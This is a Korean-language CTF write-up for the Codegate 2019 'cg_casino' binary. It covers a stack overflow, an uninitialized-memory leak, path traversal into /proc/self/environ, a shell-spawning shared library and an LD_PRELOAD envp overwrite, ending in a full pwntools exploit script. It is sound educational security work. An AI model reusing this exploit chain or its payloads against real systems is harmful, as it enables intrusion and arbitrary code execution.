Codegate CTF 2019 Quals - cg_casino

0x00. Introduction

[*] '/home/user/cg_casino'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Concept

โžœ  nc 0 6677
$$$$$$$$$$$$$$$$$$$$$$$$
$$$$$$  CG CASINO $$$$$$
$$$$$$$$$$$$$$$$$$$$$$$$
1) put voucher
2) merge voucher
3) lotto
4) up down game
5) slot machine
6) exit
> 

์„ธ ๊ฐœ์˜ ์นด์ง€๋…ธ ๊ฒŒ์ž„๊ณผ put voucher์™€ merge voucher ๊ธฐ๋Šฅ์ด ๊ตฌํ˜„๋˜์–ด์žˆ๋‹ค.

0x01. Vulnerability

Stack Overflow

void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
  char new[48]; // [rsp+30h] [rbp-60h] BYREF
  char old[40]; // [rsp+60h] [rbp-30h] BYREF
  ...
    switch ( choice )
    {
      case 1:
        memset(new, 0, 0x28uLL);
        printf("input voucher : ");
        read_401108((__int64)new);
        len32_alnum_4010A4(new);
        break;
      case 2:
        memset(old, 0, sizeof(old));
        printf("input old voucher : ");
        read_401108((__int64)old);
        xstat_unlink_400F09(new, old);
        break;
    }
  ...
}

๋จผ์ € voucher๋ฅผ putํ•˜๊ฑฐ๋‚˜ mergeํ•˜๊ธฐ ์œ„ํ•ด voucher ์ด๋ฆ„์„ ์ž…๋ ฅ๋ฐ›๋Š”๋ฐ, read_401108()์—์„œ ์ž…๋ ฅ์„ ๋ฐ›๊ฒŒ ๋œ๋‹ค.

unsigned __int64 __fastcall read_401108(__int64 a1)
{
  ...
  while ( 1 )
  {
    if ( (unsigned int)read(0, &buf, 1uLL) != 1 )
      exit(-1);
    if ( buf == 10 )
      break;
    index = i++;
    *(_BYTE *)(a1 + index) = buf;
  }
  v1 = i++;
  *(_BYTE *)(v1 + a1) = 0;
  ...
}

๊ทธ๋Ÿฐ๋ฐ ์ž…๋ ฅ์„ \n์ด ๋‚˜์˜ฌ ๋•Œ๊นŒ์ง€ 1๋ฐ”์ดํŠธ์”ฉ ๋์—†์ด ๋ฐ›๊ธฐ ๋•Œ๋ฌธ์— stack์˜ ๋๊นŒ์ง€ overflow๊ฐ€ ๋ฐœ์ƒํ•œ๋‹ค.

ํ•˜์ง€๋งŒ main()์—์„œ return์„ ํ•˜๋Š” ๋ถ€๋ถ„ ์—†์ด ๋ฐ”๋กœ exit()์„ ํ•˜๊ธฐ ๋•Œ๋ฌธ์— RIP control์€ ์–ด๋ ค์›Œ ๋ณด์ธ๋‹ค.

Stack Leak

๋™์  ๋ถ„์„์„ ํ•˜๋‹ค๊ฐ€ ์šฐ์—ฐํžˆ ์–ป์–ด๊ฑธ๋ ธ๋Š”๋ฐ, lotto_4011A7()์—์„œ ์ดˆ๊ธฐํ™”๋˜์ง€ ์•Š์€ ๋ฐ์ดํ„ฐ์˜ leak์ด ๊ฐ€๋Šฅํ•˜๋‹ค.

unsigned __int64 lotto_4011A7()
{
  ...
  int number[6]; // [rsp+10h] [rbp-40h]
  int guess[6]; // [rsp+30h] [rbp-20h] BYREF
  ...
  while ( i <= 5 )
  {
    __isoc99_scanf("%u", &guess[i]);
    getchar();
    if ( (unsigned int)guess[i] <= 44 )
      ++i;
    else
      printf("%u : out of range\n", (unsigned int)guess[i]);
  }
  puts("===================");
  ...
}

์›๋ž˜๋Š” ๋‹จ์ˆœํžˆ 0~44 ๋ฒ”์œ„์˜ ๋žœ๋ค ์ˆซ์ž 6๊ฐœ๋ฅผ ์ƒ์„ฑํ•ด์„œ ์ €์žฅํ•œ ํ›„, guess ๋ฐฐ์—ด์— ๊ฐ’์„ ์ž…๋ ฅํ•ด์„œ ๋งž์ถ”๋Š” ๊ฒŒ์ž„์ด๋‹ค.

๊ทธ๋Ÿฐ๋ฐ guess ๊ฐ’์œผ๋กœ %u ํ˜•์‹์— ๋งž์ง€ ์•Š๋Š”, ๊ฐ€๋ น a๊ฐ€ ์ž…๋ ฅ๋˜๋ฉด scanf๊ฐ€ ์‹คํŒจํ•˜๊ณ  ๊ธฐ์กด์— ์ €์žฅ๋˜์–ด์žˆ๋˜ guess์˜ ๊ฐ’์„ ์ถœ๋ ฅํ•ด์ค€๋‹ค.

GUESS 6 Numbers!
===================
|  |  |  |  |  |  |
===================
a a a a a a
2522534248 : out of range
2522534248 : out of range
2522534248 : out of range
2522534248 : out of range

File Copy

์‚ฌ์‹ค ์ทจ์•ฝ์ ์ด๋ผ๊ธฐ๋ณด๋‹ค๋Š” ๋ฐ”์ด๋„ˆ๋ฆฌ์— ์ฃผ์–ด์ง„ ๊ธฐ๋Šฅ์ธ๋ฐ, merge voucher์—์„œ ๋‹ค์Œ ํ•จ์ˆ˜๊ฐ€ ํ˜ธ์ถœ๋œ๋‹ค.

unsigned __int64 __fastcall xstat_unlink_400F09(const char *new, char *old)
{
  ...
  if ( strlen(old) == 32 )
  {
    if ( xstat_4016D0(old, &n_4) == -1 )
    {
      puts("voucher doesn't exist");
    }
    else if ( n_4.st_size <= 4096 )
    {
      fd_old = open(old, 0);
      if ( fd_old != -1 )
      {
        len = read(fd_old, buf, 4096uLL);
        close(fd_old);
        fd_new = open(new, 66, 384LL);
        if ( fd_new != -1 )
        {
          write(fd_new, buf, len);
          close(fd_new);
          unlink(old);
        }
        memset(buf, 0, 0x1000uLL);
      }
    }
    ...
  }
}

put voucher๋ฅผ ํ†ตํ•ด์„œ stack์˜ new์— ํŒŒ์ผ๋ช…์„ ์ง€์ •ํ•ด๋‘๋ฉด, ํŒŒ์ผ๋ช…์ด 32๋ฐ”์ดํŠธ์ธ ํŒŒ์ผ์„ /home/cg_casino/voucher/ ๋””๋ ‰ํ† ๋ฆฌ๋กœ ์˜ฎ๊ธธ ์ˆ˜ ์žˆ๋‹ค. ์ž…๋ ฅํ•œ ๋‚ด์šฉ์— ๋Œ€ํ•œ ๊ฒ€์ฆ์ด ๋”ฐ๋กœ ์—†์œผ๋ฏ€๋กœ ๊ธธ์ด ์ œํ•œ์€ ../, ./๋ฅผ ์ž˜ ์กฐํ•ฉํ•ด์„œ ์šฐํšŒํ•  ์ˆ˜ ์žˆ๋‹ค.

  • ../../../../../../././etc/passwd

0x02. Exploit

File Drop

์ทจ์•ฝ์ ์€ ์ด๊ฒŒ ๋์ธ๋ฐ, ๋ฌธ์ œ๋Š” ํŒŒ์ผ์„ ์„œ๋ฒ„์— ์˜ฌ๋ฆด ๋ฐฉ๋ฒ•์ด ์—†๋‹ค. ์–ด๋–ป๊ฒŒ๋“  ํŒŒ์ผ์„ ์„œ๋ฒ„์— ์˜ฌ๋ฆฐ ๋‹ค์Œ merge voucher ๊ธฐ๋Šฅ์„ ์ด์šฉํ•ด์„œ ํŒŒ์ผ์„ /home/cg_casino/voucher/ ๊ฒฝ๋กœ๋กœ ์˜ฎ๊ธด ํ›„ ๋‹ค์Œ ๋‹จ๊ณ„๋กœ ๋„˜์–ด๊ฐ€์•ผํ•  ๊ฒƒ ๊ฐ™์€๋ฐโ€ฆ

๊ทธ๋Ÿฌ๋‹ค๊ฐ€ /proc/self/environ ํŒŒ์ผ์—์„œ ๋‹ค์Œ ๋‚ด์šฉ์„ ๋ฐœ๊ฒฌํ–ˆ๋‹ค.

cg_casino@3197b44a521a:~/voucher$ cat /proc/1203/environ
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binHOSTNAME=3197b44a52
1aERASER2=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
...

AAAA๋Š” docker-compose.yml ํŒŒ์ผ์—์„œ ์ •์˜๋œ ํ™˜๊ฒฝ๋ณ€์ˆ˜ ๊ฐ’๋“ค์ธ๋ฐ, ์•ž๋ถ€๋ถ„์€ ๋‹ค๋ฅธ ๋‚ด์šฉ์œผ๋กœ ๋ฐ”๋€ ๊ฒƒ์„ ๋ณด๋‹ˆ ์‹คํ–‰ ์ค‘ ๊ฐ’์„ ๋ฐ˜์˜ํ•˜๋Š” ๊ฒƒ ๊ฐ™์•˜๋‹ค.

์‹ค์ œ๋กœ stack์˜ ๋์— ์žˆ๋Š” ํ™˜๊ฒฝ๋ณ€์ˆ˜๊นŒ์ง€ ๊ฐ’์„ ๋ฎ์–ด๋ณด๋‹ˆ ๋‹ค์Œ๊ณผ ๊ฐ™์ด /proc/self/environ ํŒŒ์ผ์ด ๋ณ€๊ฒฝ๋œ ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์—ˆ๋‹ค.

cg_casino@3197b44a521a:~/voucher$ cat /proc/1241/environ
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
...

๋”ฐ๋ผ์„œ ์ด๋Ÿฐ ์‹์œผ๋กœ stack์˜ ๊ฐ’์„ ์กฐ์ž‘ํ•ด์„œ /proc/self/environ์— ํŒŒ์ผ์˜ ํ˜•ํƒœ๋กœ ๋‚จ๊ธธ ์ˆ˜ ์žˆ๋‹ค.

Stack Overflow & File Copy

/proc/self/environ์— libc ๋ฐ์ดํ„ฐ๋ฅผ ์“ฐ๊ณ  ๊ทธ๊ฒƒ์„ /home/cg_casino/voucher๋กœ ๊ฐ€์ ธ์˜ค๊ธฐ ์œ„ํ•œ ์กฐ๊ฑด์€ ์ด 3๊ฐœ์ด๋‹ค.

  • main์˜ new๊ฐ€ /home/cg_casino/voucher์— ์ €์žฅํ•  ํŒŒ์ผ๋ช…์ผ ๊ฒƒ
  • main์˜ old๊ฐ€ ๊ธธ์ด๊ฐ€ 32์ด๊ณ  /proc/self/environ ํŒŒ์ผ์„ ๊ฐ€๋ฆฌํ‚ฌ ๊ฒƒ
  • stack ๋์˜ ํ™˜๊ฒฝ๋ณ€์ˆ˜๊ฐ€ ์ €์žฅ๋œ ๊ณต๊ฐ„์— libc ๋ฐ์ดํ„ฐ๊ฐ€ ์“ฐ์—ฌ์งˆ ๊ฒƒ

๋”ฐ๋ผ์„œ ๋‹ค์Œ๊ณผ ๊ฐ™์ด payload๋ฅผ ๊ตฌ์„ฑํ–ˆ๋‹ค.

    payload = b"mylib.so\x00"
    payload += b"\x00" * (env - buf - len(payload))
    payload += lib_data
    payload += b"\x00" * (3432 - (len(payload)))
    put_voucher(s, payload)

    merge_voucher(s, b"../../../../../proc/self/environ")

ํ•œํŽธ ์ด ๊ณผ์ •์—์„œ read_401108()๋ฅผ ์ด์šฉํ•ด์„œ ์ž…๋ ฅ์„ ๋ฐ›๊ธฐ ๋•Œ๋ฌธ์— libc์— \x0a๊ฐ€ ์žˆ์œผ๋ฉด ๋ฐ์ดํ„ฐ๊ฐ€ ์งค๋ฆด ์œ„ํ—˜์ด ์žˆ๋‹ค. ์‹ค์ œ๋กœ๋„ \x0a๊ฐ€ ์žˆ์–ด์„œ ํ˜น์‹œ๋‚˜ ํ•˜๋Š” ๋งˆ์Œ์— \x0b๋กœ ๋ฐ”๊ฟ”๋ดค๋Š”๋ฐ ๋‹คํ–‰ํžˆ libc๊ฐ€ ์ž˜ ์ž‘๋™ํ–ˆ๋‹ค.

    with open("./mylib.so", "rb") as f:
        lib_data = f.read()
    lib_data = lib_data.replace(b"\x0a", b"\x0b")

๋”ฐ๋ผ์„œ ์œ„ payload๋ฅผ ์ถ”๊ฐ€ํ•ด์ฃผ์–ด์•ผ ํ•œ๋‹ค.

Small Libc

์—ฌ๊ธฐ์—์„œ ๋ฌธ์ œ๊ฐ€ ํ•˜๋‚˜ ๋” ์žˆ๋Š”๋ฐ ํ™˜๊ฒฝ๋ณ€์ˆ˜ ์˜์—ญ๋„ ํ•œ๋„๊ฐ€ ์žˆ๊ธฐ ๋•Œ๋ฌธ์— merge voucher๋กœ ๊ฐ€์ ธ์˜ฌ ์ˆ˜ ์žˆ๋Š” ๋ฐ์ดํ„ฐ ๊ธธ์ด๊ฐ€ ์ œํ•œ๋˜์–ด์žˆ๋‹ค.

root@3197b44a521a:/home/cg_casino/voucher# ls -al
total 16
drwxrwx-wx 1 root      root      4096 Aug  1 05:24 .
drwxr-xr-x 1 root      root      4096 Jul 31 08:08 ..
-rw------- 1 cg_casino cg_casino 3432 Aug  1 05:23 mylib.so

๊ทธ๋ž˜์„œ 3432๋ณด๋‹ค ์ž‘์€ libc๊ฐ€ ํ•„์š”ํ•œ๋ฐ, ๋‹ค์Œ ์†Œ์Šค์ฝ”๋“œ๋ฅผ Ubunut 16.04์—์„œ ์ปดํŒŒ์ผํ•ด์„œ ์‚ฌ์ด์ฆˆ๊ฐ€ ์ž‘์€ libc๋ฅผ ๋งŒ๋“ค ์ˆ˜ ์žˆ์—ˆ๋‹ค.

// gcc -w -znorelro -s -fPIC -shared -nostdlib -o mylib.so mylib.c
__attribute__((destructor))
void on_unload() {
	system("/bin/sh");
}

Ubuntu 22.04์—์„œ๋Š” ๊ฐ™์€ ์ปดํŒŒ์ผ ์˜ต์…˜์„ ์ค˜๋„ ์‚ฌ์ด์ฆˆ๊ฐ€ ๊ฝค ํฐ๋ฐ, ์ปดํŒŒ์ผ๋Ÿฌ ๋ฒ„์ „์— ๋”ฐ๋ผ์„œ๋„ ์ด๋ ‡๊ฒŒ ์ฐจ์ด๊ฐ€ ์‹ฌํ•  ์ˆ˜ ์žˆ๋‹ค๋‹ˆ ์•Œ์•„๋‘ฌ์•ผ๊ฒ ๋‹ค.

โžœ  ls -al | grep mylib_from
-rwxr-xr-x 1 user user    2632 Aug  1 08:28 mylib_from1604.so
-rwxr-xr-x 1 user user   10160 Aug  1 14:40 mylib_from2204.so

Stack Leak

์•ž์„œ ํ™•์ธํ•œ๋Œ€๋กœ lotto_4011A7()์—์„œ %u ํ˜•์‹์ด ์•„๋‹Œ ๋ฐ์ดํ„ฐ๋ฅผ ์ž…๋ ฅํ•˜๋ฉด guess[i]์˜ ๋ฐ์ดํ„ฐ๋ฅผ ์ถœ๋ ฅํ•  ์ˆ˜ ์žˆ๋‹ค. guess๋Š” 6๊ฐœ์˜ integer ๋ฐฐ์—ด์ด๋ฏ€๋กœ ์ด 0x18 ๊ธธ์ด์˜ ๋ฉ”๋ชจ๋ฆฌ๋ฅผ ํ™•์ธํ•  ์ˆ˜ ์žˆ๊ณ  ์ดˆ๊ธฐํ™”๋˜์ง€ ์•Š์€ ์ƒํƒœ์—์„œ์˜ guess ๊ฐ’์„ ํ™•์ธํ•ด๋ณด๋ฉด,

gefโžค  x/3gx $rsp+0x30
0x7fffffffdef0: 0x0000000000000000      0x00007ffff7ffe168
0x7fffffffdf00: 0x0000000000000000

libc ์˜์—ญ์˜ ์ฃผ์†Œ๊ฐ€ ๋‚จ์•„์žˆ๋Š”๋ฐ ํ•„์š”ํ•œ ์ฃผ์†Œ๊ฐ’์ด ๋ญ”์ง€ ์ƒ๊ฐํ•ด๋ณด๋ฉด stack์˜ ์ฃผ์†Œ์— ๊ฐ€๊น๋‹ค. ๋”ฐ๋ผ์„œ ๋‹ค๋ฅธ ํ•จ์ˆ˜๋ฅผ ๋จผ์ € ์‹คํ–‰ํ•ด์„œ $rsp+0x30 ์˜์—ญ์— stack ์ฃผ์†Œ๋ฅผ ๋‚จ๊ธธ ์ˆ˜ ์žˆ๋Š”์ง€ ํ™•์ธํ•ด๋ณด์•˜๋Š”๋ฐ, up_down_40139E()์„ ํ˜ธ์ถœํ•œ ๋’ค lotto_4011A7()๋ฅผ ํ˜ธ์ถœํ•˜๋ฉด ๊ฐ€๋Šฅํ•˜๋‹ค.

gefโžค  x/3gx $rsp+0x30
0x7fffffffdef0: 0x0000000000000000      0x00007fffffffdf10
0x7fffffffdf00: 0x0000000000400bb0

guess๋Š” integer์ด๋ฏ€๋กœ 3๋ฒˆ์งธ, 4๋ฒˆ์งธ ์ž…๋ ฅ์„ ์ค„ ๋•Œ โ€™aโ€™๋ฅผ ์ž…๋ ฅํ•˜๋ฉด 4๋ฐ”์ดํŠธ์”ฉ leak์ด ๊ฐ€๋Šฅํ•˜๋ฏ€๋กœ, ๋‹ค์Œ๊ณผ ๊ฐ™์ด payload๋ฅผ ์ž‘์„ฑํ–ˆ๋‹ค.

    updown(s, [1, 1, 1, 1, 1, 1])
    r = lotto(s, b"1 2 a 3 a 4 5 6")
    lower = int(r.split(b" : ")[0])
    upper = int(r.split(b" : ")[1].split(b"\n")[1])
    buf = upper << 32 | lower + 0x40
    log.info(f"buf : {hex(buf)}")

Envp Overwrite

์ด์ œ ์‰˜์„ ์‹คํ–‰ํ•ด์ฃผ๋Š” libc ํŒŒ์ผ์„ /home/cg_casino/voucher์— ์•ˆ์ฐฉ์‹œ์ผฐ์œผ๋‹ˆ, ์ด๊ฑธ ์‹คํ–‰๋งŒ ์‹œํ‚ค๋ฉด ๋œ๋‹ค. ์ผ๋ฐ˜์ ์œผ๋กœ ์›ํ•˜๋Š” libc๋ฅผ ๋กœ๋“œํ•˜๋Š” ํ…Œํฌ๋‹‰์œผ๋กœ LD_PRELOAD ํ™˜๊ฒฝ๋ณ€์ˆ˜๋ฅผ ์ด์šฉํ•˜๋Š” ๋ฐฉ์‹์ด ์žˆ์–ด์„œ ์–ด๋–ป๊ฒŒ ํ™œ์šฉํ• ์ง€ ๊ณ ๋ฏผํ–ˆ๋‹ค.

ํ˜„์žฌ libc์— on_unload()๋ฅผ ์ •์˜ํ•ด๋†“์•˜์œผ๋ฏ€๋กœ ๋‘ ๊ฐ€์ง€๋ฅผ ํ™•์ธํ•ด์•ผํ•˜๋Š”๋ฐ,

  1. exit(0);์„ ํ†ตํ•ด์„œ๋„ on_unload()๊ฐ€ ํ˜ธ์ถœ๋˜๋Š”์ง€
  2. ํ™˜๊ฒฝ๋ณ€์ˆ˜๋ฅผ ์‹คํ–‰ ์ดํ›„์— ๋ณ€๊ฒฝํ•ด๋„ LD_PRELOAD๊ฐ€ ์ ์šฉ๋˜๋Š”์ง€

ํ…Œ์ŠคํŠธ ์ฝ”๋“œ๋ฅผ ์ž‘์„ฑํ•ด์„œ 1๋ฒˆ์€ ๊ฐ€๋Šฅํ•œ ๊ฒƒ์„ ํ™•์ธํ–ˆ๋Š”๋ฐ ์•„์‰ฝ๊ฒŒ๋„ 2๋ฒˆ์ด ์ ์šฉ๋˜์ง€ ์•Š์•˜๋‹ค. ๋”ฐ๋ผ์„œ ํ˜„์žฌ ํ”„๋กœ์„ธ์Šค์˜ ํ™˜๊ฒฝ๋ณ€์ˆ˜๋ฅผ ์กฐ์ž‘ํ•ด๋†“๊ณ , ๊ทธ ํ™˜๊ฒฝ๋ณ€์ˆ˜๋ฅผ ๊ฐ€์ ธ๋‹ค๊ฐ€ ์“ฐ๋Š” ํ”„๋กœ์„ธ์Šค๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์–ด์•ผ ํ•œ๋‹ค.

๊ทธ๋Ÿฌ๋‹ค๊ฐ€ slot_401477()์—์„œ system("/usr/bin/clear");์„ ์‚ฌ์šฉํ•˜๋Š”๋ฐ, ๋™์  ๋ถ„์„์„ ํ•  ๋•Œ ๋‹ค์Œ๊ณผ ๊ฐ™์€ ๋ฉ”์„ธ์ง€๊ฐ€ ์ถœ๋ ฅ๋œ ๊ฒƒ์ด ๊ธฐ์–ต๋‚ฌ๋‹ค.

        _______
       |JACKPOT|
=========================
|   ___    ___    ___    |
|  | ? |  | ? |  | ? |   |
|  |___|  |___|  |___|   |
=========================
|________________________|
press any key

TERM environment variable not set

ํ˜„์žฌ ํ”„๋กœ์„ธ์Šค์ธ cg_casino๋Š” ํ™˜๊ฒฝ๋ณ€์ˆ˜๊ฐ€ docker-compose.yml ํŒŒ์ผ์—์„œ ERASER๋ฅผ ํ†ตํ•ด ๊ฐ’์ด ๋ฐ€๋ ค์žˆ๋Š” ์ƒํƒœ์ด๋‹ค. ์—ฌ๊ธฐ์—์„œ system()์„ ์‚ฌ์šฉํ•  ๋•Œ ๋‚ด๋ถ€์ ์œผ๋กœ execve()๊ฐ€ ํ˜ธ์ถœ๋˜๋Š”๋ฐ ์ด ๊ณผ์ •์—์„œ **envp๊ฐ€ ์ „๋‹ฌ๋˜๋Š” ๊ฒƒ ๊ฐ™๋‹ค.

**envp๋Š” main()์ด ํ˜ธ์ถœ๋  ๋•Œ 3๋ฒˆ์งธ ์ธ์ž๋กœ ์ „๋‹ฌ๋˜๊ณ , main()์˜ ์ดˆ๋ฐ˜์—์„œ ๋‹ค์Œ๊ณผ ๊ฐ™์ด $rbp-0x88์— ์ €์žฅ์ด ๋œ๋‹ค.

   0x400ca6:    push   rbp
   0x400ca7:    mov    rbp,rsp
   0x400caa:    sub    rsp,0x90
   0x400cb1:    mov    DWORD PTR [rbp-0x74],edi
   0x400cb4:    mov    QWORD PTR [rbp-0x80],rsi
   0x400cb8:    mov    QWORD PTR [rbp-0x88],rdx

์ด ์ƒํƒœ์—์„œ ๋ฉ”๋ชจ๋ฆฌ๋ฅผ ๋”ฐ๋ผ๊ฐ€๋ณด๋ฉด,

gefโžค  x/gx $rbp-0x88
0x7fffffffdf28: 0x00007fffffffe0a8
gefโžค  x/10gx 0x00007fffffffe0a8
0x7fffffffe0a8: 0x00007fffffffe276      0x00007fffffffe2b8
0x7fffffffe0b8: 0x00007fffffffe2ce      0x00007fffffffe564
0x7fffffffe0c8: 0x00007fffffffe7fa      0x00007fffffffea90
0x7fffffffe0d8: 0x00007fffffffed26      0x00007fffffffefbc
0x7fffffffe0e8: 0x00007fffffffefc7      0x0000000000000000
gefโžค  x/s 0x00007fffffffe276
0x7fffffffe276: "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"

**envp(0x7fffffffdf28) -> *envp(0x7fffffffe0a8) -> first env(0x7fffffffe276)` ํ˜•์‹์œผ๋กœ ๊ตฌ์„ฑ๋˜์–ด์žˆ๋‹ค.

๋”ฐ๋ผ์„œ ์ด ๊ตฌ์„ฑ์„ ์ž˜ ๋”ฐ๋ฅด๋˜, *envp์˜ ๋์—๋Š” null์„ ๊ผญ ๋„ฃ์–ด์ฃผ์–ด์•ผ ํ•œ๋‹ค.

    payload = b"\x00" * (env_p_p - buf)
    payload += p64(env_p)
    payload += b"\x00" * (env_p - buf - len(payload))
    payload += p64(env)
    payload += b"\x00" * (env - buf - len(payload))
    payload += b"LD_PRELOAD=/home/cg_casino/voucher/mylib.so\x00"
    put_voucher(s, payload)

    s.sendline(b"5")

๋ฌธ์ œ๋Š” ์—ฌ๊ธฐ์„œ ํ™˜๊ฒฝ๋ณ€์ˆ˜๊ฐ€ stack์˜ ๋์ž๋ฝ์— ์œ„์น˜ํ•˜๊ฒŒ ๋˜๋Š”๋ฐ, ์ด offset์ด ์ผ์ •ํ•˜์ง€ ์•Š์•„์„œ ํ™•๋ฅ  ์ด์Šˆ๊ฐ€ ๋ฐœ์ƒํ•œ๋‹ค. ์ฐจ์ด๋ฅผ ๊ณ„์† ์ฒดํฌํ•ด๋ณด๋‹ˆ 0xXX0 ์ •๋„ ์ฐจ์ด๊ฐ€ ๋‚˜๋Š” ๊ฒƒ์œผ๋กœ ๋ณด์•„ 1/256 ํ™•๋ฅ ๋กœ exploit์ด ์„ฑ๊ณตํ•  ๊ฒƒ ๊ฐ™๋‹ค.

0x03. Payload

from pwn import *
from pwnlib.util.packing import p32, p64, u32, u64
from time import sleep
import sys, os

DEBUG = False
BINARY = "cg_casino"
CONTAINER = "d20ec1bc9a88"

bp = {
    "getchar_of_main" : 0x400CF8,
    "read_bof" : 0x401108,
    "xstat_unlink" : 0x400F09,
    "slotmachine" : 0x401477,
    "lotto" : 0x4011A7,
    "scanf_of_lotto" : 0x40129D,
}

gs = f'''
set follow-fork-mode child
!b *{bp["xstat_unlink"]}
b *{bp["getchar_of_main"]}
continue
'''
context.terminal = ['tmux', 'splitw', '-hf']

def put_voucher(s, new):
    s.sendline(b"1")
    s.recvuntil(b" : ")
    s.sendline(new)
    sleep(0.1)
    return s.recvuntil(b"> ")

def merge_voucher(s, old):
    s.sendline(b"2")
    s.recvuntil(b" : ")
    s.sendline(old)
    return s.recvuntil(b"> ")

def lotto(s, numbers):
    s.sendline(b"3")
    sleep(0.1)
    s.recv()
    s.sendline(numbers)
    return s.recvuntil(b"> ")

def updown(s, numbers):
    s.sendline(b"4")
    s.recvuntil(b". \n")
    for number in numbers:
        s.sendline(str(number).encode())
        s.recvuntil(b"it\n")
    return s.recvuntil(b"> ")

def main():
    if(len(sys.argv) > 1):
        s = remote("0.0.0.0", int(sys.argv[1]))
        pid = os.popen(f"sudo docker top {CONTAINER} -eo pid,comm | grep {BINARY} | awk '{{print $1}}'").read()
        if DEBUG:
            gdb.attach(int(pid), gs, exe=BINARY, sysroot="./")
    else:
        s = process(f"/home/user/{BINARY}")
        if DEBUG:
            gdb.attach(s, gs)
    elf = ELF(BINARY)
    
    with open("./mylib.so", "rb") as f:
        lib_data = f.read()
    lib_data = lib_data.replace(b"\x0a", b"\x0b")

    s.recvuntil(b"> ")

    updown(s, [1, 1, 1, 1, 1, 1])
    r = lotto(s, b"1 2 a 3 a 4 5 6")
    lower = int(r.split(b" : ")[0])
    upper = int(r.split(b" : ")[1].split(b"\n")[1])
    buf = upper << 32 | lower + 0x40
    log.info(f"buf : {hex(buf)}")

    env = buf + 0x1796
    env = buf + 0x326
    env_p = buf + 0x158
    env_p_p = buf + 0xe8
    log.info(f"env_p_p : {hex(env_p_p)}")
    log.info(f"env_p : {hex(env_p)}")
    log.info(f"env : {hex(env)}")

    payload = b"mylib.so\x00"
    payload += b"\x00" * (env - buf - len(payload))
    payload += lib_data
    payload += b"\x00" * (3432 - (len(payload)))
    put_voucher(s, payload)
    
    pause()

    merge_voucher(s, b"../../../../../proc/self/environ")

    payload = b"\x00" * (env_p_p - buf)
    payload += p64(env_p)
    payload += b"\x00" * (env_p - buf - len(payload))
    payload += p64(env)
    payload += b"\x00" * (env - buf - len(payload))
    payload += b"LD_PRELOAD=/home/cg_casino/voucher/mylib.so\x00"
    put_voucher(s, payload)

    s.sendline(b"5")

    s.interactive()

if __name__=='__main__':
    main()